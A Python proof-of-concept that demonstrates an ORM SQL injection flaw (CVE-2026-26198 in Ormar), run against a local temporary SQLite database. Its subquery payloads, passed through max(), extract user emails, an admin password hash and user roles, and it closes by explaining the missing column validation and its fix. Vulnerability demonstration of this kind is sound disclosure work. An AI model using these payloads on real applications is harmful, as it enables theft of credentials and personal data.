README.md
Rendering markdown...
"""
CVE-2026-26198 — Safe Exploit Demonstration
Shows how an attacker can leverage the unvalidated min()/max() methods
to extract sensitive data from unrelated database tables.
Everything runs against an in-memory SQLite database. No external
systems are touched.
Usage:
python exploit_demo.py
"""
import os
import tempfile
from vulnerable_app import ProductQuerySet, create_demo_database
def print_header(title: str) -> None:
print(f"\n{'='*60}")
print(f" {title}")
print(f"{'='*60}\n")
def print_step(num: int, desc: str) -> None:
print(f" [{num}] {desc}")
def demonstrate():
# Setup: create a temp database
db_fd, db_path = tempfile.mkstemp(suffix=".db")
os.close(db_fd)
try:
create_demo_database(db_path)
products = ProductQuerySet(db_path=db_path)
qs = products.get_vulnerable_queryset()
print_header("CVE-2026-26198: SQL Injection in Ormar ORM")
# Step 1: Normal usage
print_step(1, "Normal usage — getting the highest product price")
result = qs.max("price")
print(f" max(price) = {result}")
print(f" Query: SELECT max(price) FROM products")
print(f" ✅ This is the intended behavior\n")
# Step 2: The attack — inject a subquery
print_step(2, "ATTACK — injecting a subquery to steal user emails")
payload = "(SELECT group_concat(email) FROM users)"
result = qs.max(payload)
print(f" Payload: max({payload})")
print(f" Query: SELECT max({payload}) FROM products")
print(f" Result: {result}")
print(f" ⚠️ LEAKED: All user emails from a completely different table!\n")
# Step 3: Escalate — steal password hashes
print_step(3, "ESCALATE — extracting admin password hash")
payload = "(SELECT password_hash FROM users WHERE role='admin')"
result = qs.max(payload)
print(f" Payload: max({payload})")
print(f" Result: {result}")
print(f" ⚠️ LEAKED: Admin password hash!\n")
# Step 4: Full table dump
print_step(4, "FULL DUMP — extracting all usernames and roles")
payload = "(SELECT group_concat(username || ':' || role) FROM users)"
result = qs.max(payload)
print(f" Payload: max({payload})")
print(f" Result: {result}")
print(f" ⚠️ LEAKED: Complete user roster with privilege levels!\n")
# Step 5: Show that sum() is protected (the inconsistency)
print_step(5, "COMPARISON — sum() rejects the same attack")
try:
qs.sum("(SELECT 1 FROM users)")
print(f" ❌ Sum should have rejected this!")
except ValueError as e:
print(f" sum() raised ValueError: {e}")
print(f" ✅ sum() validates the column name, but min()/max() don't\n")
# Summary
print_header("Summary")
print(" The vulnerability exists because min() and max() skip the")
print(" column validation that sum() and avg() perform.")
print()
print(" Impact: Any endpoint that passes user input to min()/max()")
print(" allows unauthenticated attackers to read the ENTIRE database.")
print()
print(" Real-world scenario: A FastAPI endpoint like")
print(' GET /products/stats?aggregate=max&field=price')
print(" becomes a full database dump if 'field' reaches ormar's max().")
print()
print(" Fix: Validate column names against the model's known fields")
print(" BEFORE they reach sqlalchemy.text(). See patched_app.py")
finally:
os.unlink(db_path)
if __name__ == "__main__":
demonstrate()